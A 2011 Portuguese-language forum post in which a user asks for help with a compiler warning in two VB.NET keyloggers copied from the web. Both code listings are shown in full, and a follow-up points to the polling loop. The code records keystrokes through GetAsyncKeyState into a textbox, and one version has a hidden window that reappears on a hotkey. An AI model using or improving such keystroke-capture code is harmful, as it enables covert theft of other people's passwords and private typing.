Ajuda Keyloger VB.NET

16/07/2011

0


Fiz dois projetos de Keylogger que vi na net, e os dois possuem exatamente o mesmo erro:
Warning 1 Variable 'key' is used before it has been assigned a value. A null reference exception could result at runtime. C:\Users\Eva\Desktop\Thiago\Visual Basic\Keylogger\WindowsApplication1\WindowsApplication1\Form1.vb 20 12 WindowsApplication1
CÓDIGO DO PRIMEIRO, O ERRO DA NO TIMERKEYS_TICK
Option Strict OnPublic Class Form1    Private Declare Function GetAsynckeyState Lib "User32" (ByVal vkey As Long) As Integer
    Private Sub timerkeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerkeys.Tick        Dim result As Integer = Nothing        Dim key As String        Dim i As Integer        For i = 2 To 90            result = 1            result = GetAsynckeyState(i)            If result = -32767 Then                key = Chr(i)                If i = 13 Then key = vbNewLine                Exit For            End If        Next i        If key <> Nothing Then            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then                tblog.Text &= key            Else                tblog.Text &= key.ToLower            End If        End If
        If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then            Me.Show()        End If
    End Sub



SEGUNDO KEYLOGGER
    Dim result As Integer    Private Declare Function getasynckeystate Lib "user32" (ByVal vkey As Long) As Integer    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load        Timer1.Start()    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick        For i = 1 To 225            result = 0            result = getasynckeystate(i)            If result = -32767 Then                TextBox1.Text = TextBox1.Text + Chr(i)            End If
        Next i
    End Sub




Alalala

Alalala

Responder

Posts

16/07/2011

Alalala


  DETALHE
O erro (de ambos) ocorre no FOR
For i = 2 To 90            result = 1            result = GetAsynckeyState(i)
Responder

Que tal ter acesso a um e-book gratuito que vai te ajudar muito nesse momento decisivo?

Ver ebook

Recomendado pra quem ainda não iniciou o estudos.

Eu quero
Ver ebook

Recomendado para quem está passando por dificuldades nessa etapa inicial

Eu quero

Utilizamos cookies para fornecer uma melhor experiência para nossos usuários, consulte nossa política de privacidade.

Aceitar